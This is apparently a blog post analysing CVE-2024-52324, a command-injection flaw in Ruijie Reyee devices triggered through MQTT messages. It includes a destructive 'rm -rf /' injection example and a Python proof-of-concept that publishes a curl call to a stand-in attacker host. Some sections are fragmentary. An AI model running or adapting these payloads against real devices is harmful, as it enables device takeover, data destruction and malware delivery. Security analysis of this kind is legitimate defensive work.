In the fast-moving world of networking, security flaws can have devastating consequences. One such vulnerability, CVE-2024-52324, affects Ruijie Reyee network devices running certain versions of their proprietary operating system. This bug lets attackers run malicious code remotely, just by sending a specially crafted MQTT message. In this deep dive, we'll break down the details, show a working exploit, and explain how you can stay safe.

What is CVE-2024-52324?

CVE-2024-52324 impacts devices running Ruijie Reyee OS versions 2.206.x up to but not including 2.320.x. The problem is that these devices use a risky programming function without enough security checks. When they get certain MQTT messages, they treat parts of those messages as operating system (OS) commands — and just run them!

This means attackers can send commands of their choice, causing the device to do just about anything. If your network uses affected Reyee devices and someone can talk to their MQTT service, you're in danger.

MQ-What? A Quick Primer

MQTT (Message Queuing Telemetry Transport) is a popular messaging protocol used in IoT and networking devices. It's lightweight and fast, which makes it popular — but if mishandled, it can be a goldmine for attackers.

On Reyee devices, MQTT messages can trigger events and run commands. The vulnerable code uses system() or similar to process data from these messages, opening the door for command injection.

At its core, this bug is about untrusted user input passed directly into a shell command

// Pseudo-code showing the vulnerability
void handle_mqtt_message(char *msg) {
    char cmd[256];
    sprintf(cmd, "/some/command %s", msg); // BAD: msg is not sanitized!
    system(cmd);  // Attacker controls what gets run here
}

If an attacker sends an MQTT message like

some_input; rm -rf / #

The resulting command becomes

/some/command some_input; rm -rf / #

The device runs /some/command some_input, then rm -rf / — which would wipe its storage.

Network access to the device's MQTT broker (default port often exposed on LAN)

- Any valid or guessable credentials (some Reyee setups have default, weak, or no passwords for internal comms)

PoC Exploit in Python

import paho.mqtt.client as mqtt

TARGET = '192.168.1.1'       # Change to your Reyee device IP
MQTT_PORT = 1883             # Default MQTT port; may vary
MQTT_USER = ''               # Provide if needed; sometimes blank
MQTT_PASS = ''               # Provide if needed

# The command to inject - this example pings attacker's server
INJECT = 'foo; curl http://evil.com:800/pwned #'

def on_connect(client, userdata, flags, rc):
    print('[+] Connected, sending payload…')
    # Exact topic/structure depends on Reyee model — test common ones
    client.publish('reyee/config', INJECT)

client = mqtt.Client()
if MQTT_USER:
    client.username_pw_set(MQTT_USER, MQTT_PASS)
client.on_connect = on_connect
client.connect(TARGET, MQTT_PORT, 60)
client.loop_forever()

- What happens: The device runs curl http://evil.com:800/pwned, alerting the attacker of a successful hit, or loading further malware.

Where to Send It?

Models & firmware may expect specific topics (e.g. reyee/config or device/update). You may need to try a few, or sniff legitimate traffic.

Real-World Impact

- Full Device Compromise: Attacker can run any OS command — add accounts, sniff traffic, brick device, pivot inside LAN.

Fixes & Mitigations

1. Update Reyee OS: Upgrade all devices to 2.320.x or later. Official Ruijie download page.

References and Further Reading

- National Vulnerability Database: CVE-2024-52324
- Ruijie Reyee Official Product Page
- How MQTT Works (HiveMQ guide)
- Firmware Download (Ruijie Support)

Conclusion

CVE-2024-52324 is a classic example of why command injection remains dangerous and widespread. For anyone deploying Reyee devices, prioritizing firmware updates and controlling protocol access is a must. Don’t be the next headline!

If you found this guide helpful, spread the word and keep your devices secure.


*This post is provided for educational purposes. Never attempt unauthorized access to devices you do not own or have permission to test.*

Timeline

Published on: 12/06/2024 19:15:13 UTC
Last modified on: 12/10/2024 19:42:56 UTC